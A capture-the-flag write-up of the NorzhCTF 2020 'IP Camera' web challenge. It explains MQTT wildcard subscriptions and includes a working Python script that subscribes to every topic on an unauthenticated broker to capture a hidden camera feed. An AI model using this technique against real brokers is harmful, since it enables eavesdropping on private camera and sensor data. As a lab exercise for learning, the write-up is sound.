IP Camera

NorzhCTF 2020 - WEB (200 pts).

IP Camera

SUMMARY

Norzh Nuclea’s BlueTeam is monitoring critical areas of the nuclear plant to prevent potential physical intrusion.

Hack their monitoring system to visualize the nuclear reactor.

TL; DR

The 10.13.49.56 host contains an IP camera web view which is based on MQTT broker to get the images.

WRITEUP

IP camera

The 10.13.49.56 host is running an HTTP server, let’s run Firefox:

ip_camera

According to the source code of the web page, we know that the video stream from an IP camera is fetched from an MQTT broker and printed on the page:

var client, topic;

function mqtt_connect() {
    // Generate a random client ID
    var client_id = "clientID_" + parseInt(Math.random() * 100);
    var port = 9001;
    var host = "10.13.49.56";
    var uri = `ws://${host}:${port}/mqtt`;
    topic = "/efcdfa4a-4dbb-4e6f-9347-5f93f9d72115";

    // Initialize new Paho client connection
    client = new Paho.MQTT.Client(uri, client_id);

    // Set callback handlers
    client.onConnectionLost = onConnectionLost;
    client.onMessageArrived = onMessageArrived;

    // Connect the client, if successful, call onConnect function
    client.connect({
        onSuccess: onConnect,
        onFailure: function(){console.log(`Connection to: ${host} on port: ${port} failed.`)}
    });
}

function onConnectionLost(responseObject) {
    if (responseObject.errorCode !== 0) {
        console.log(`Connection lost: ${responseObject.errorMessage}`);
    }
};

function onMessageArrived(message) {
    document.querySelector("#img").src = message.payloadString;
};

function onConnect() {
    console.log(`Subscribing to: ${topic}`);

    client.subscribe(topic);
}

mqtt_connect();

The MQTT broker runs on the 10.13.49.56 host on port 9001 and serves the /efcdfa4a-4dbb-4e6f-9347-5f93f9d72115 topic.

Let’s dig into the MQTT protocol and see what extra information we can get!

MQTT

The MQTT (Message Queuing) protocol has been designed for low-bandwidth and high-latency network communications.

The key feature of the MQTT protocol is centralization, messages are never sent directly from a sensor to a data consumer.

Instead, the messages are tagged and sent to a message broker that filters and forwards them only to recipients that have subscribed to a specific topic.

Here, we can assume the following diagram:

mqtt

Subsription

According to the official documentation:

The payload of a SUBSCRIBE packet contains a list of topic filters indicating the topics to which the client wants to subscribe.

Description

7

6

5

4

3

2

1

0

Topic Filter

byte 1

Length MSB

byte 2

Length LSB

bytes 3..N

Topic Filter

Subscription Options

 

Reserved

Retain Handling

RAP

NL

QoS

byte N+1

0

0

X

X

X

X

X

X

Addditional notes about topic filters:

  • The number sign (# U+0023) is a wildcard character that matches any number of levels within a topic
  • # is valid and will receive every Application Message
  • A subscription to # will not receive any messages published to a topic beginning with a $
  • A subscription to $SYS/# will receive messages published to topics beginning with $SYS/
  • For a Client to receive messages from topics that begin with $SYS/ and from topics that don’t begin with a $, it has to subscribe to both # and $SYS/#

Wildcard subscription

Since we wan’t to get additional data from our MQTT server, we just need to subscribe to both # and $SYS/# while filtering messages coming from the known topic /efcdfa4a-4dbb-4e6f-9347-5f93f9d72115:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import paho.mqtt.client as mqtt
import base64

CAM1_TOPIC = '/efcdfa4a-4dbb-4e6f-9347-5f93f9d72115'
B64_IMG_HEADER = b'data:image/jpeg;base64,'
LOOT_IMG = 'loot.jpg'

known_topics = []

# CONNACK response from the server callback.
def on_connect(client, userdata, flags, rc):
    client.subscribe('#', qos=1)  # Subscribe to all topics
    client.subscribe('$SYS/#')    # Broker Status (Mosquitto)

# PUBLISH message from the server callback.
def on_message(client, userdata, msg):
    global known_topics

    if msg.topic != CAM1_TOPIC:
        if msg.topic not in known_topics:
            print(f'New topic found: {msg.topic}')
            known_topics.append(msg.topic)

        if B64_IMG_HEADER in msg.payload:
            print(f'Found JPEG file on {msg.topic}! Saving it into {LOOT_IMG}...')
            with open(LOOT_IMG, 'wb') as fd:
                fd.write(base64.b64decode(msg.payload.split(B64_IMG_HEADER)[1]))
            client.disconnect()

client = mqtt.Client(transport='websockets')
client.on_connect = on_connect
client.on_message = on_message

client.connect('10.13.49.56', 9001, 60)

client.loop_forever()

Output:

New topic found: $SYS/broker/version
New topic found: $SYS/broker/uptime
New topic found: $SYS/broker/load/messages/received/1min
New topic found: $SYS/broker/load/messages/received/5min
New topic found: $SYS/broker/load/messages/received/15min
New topic found: $SYS/broker/load/messages/sent/1min
New topic found: $SYS/broker/load/messages/sent/5min
New topic found: $SYS/broker/load/messages/sent/15min
New topic found: $SYS/broker/load/publish/received/1min
New topic found: $SYS/broker/load/publish/received/5min
New topic found: $SYS/broker/load/publish/received/15min
New topic found: $SYS/broker/load/publish/sent/1min
New topic found: $SYS/broker/load/publish/sent/5min
New topic found: $SYS/broker/load/publish/sent/15min
New topic found: $SYS/broker/load/bytes/received/1min
New topic found: $SYS/broker/load/bytes/received/5min
New topic found: $SYS/broker/load/bytes/received/15min
New topic found: $SYS/broker/load/bytes/sent/1min
New topic found: $SYS/broker/load/bytes/sent/5min
New topic found: $SYS/broker/load/bytes/sent/15min
New topic found: $SYS/broker/load/connections/1min
New topic found: $SYS/broker/load/connections/5min
New topic found: $SYS/broker/load/connections/15min
New topic found: $SYS/broker/messages/stored
New topic found: $SYS/broker/messages/received
New topic found: $SYS/broker/messages/sent
New topic found: $SYS/broker/store/messages/count
New topic found: $SYS/broker/store/messages/bytes
New topic found: $SYS/broker/retained messages/count
New topic found: $SYS/broker/publish/messages/received
New topic found: $SYS/broker/publish/messages/sent
New topic found: $SYS/broker/publish/bytes/received
New topic found: $SYS/broker/publish/bytes/sent
New topic found: $SYS/broker/bytes/received
New topic found: $SYS/broker/bytes/sent
New topic found: /53e2a5b6-03c0-42d5-b08c-83a246a921d5
Found JPEG file on /53e2a5b6-03c0-42d5-b08c-83a246a921d5! Saving it into loot.jpg...

We’ve found another IP camera!

loot

FLAG

Final flag is: ENSIBS{MQTt_4uTH??}

Happy Hacking!

Creased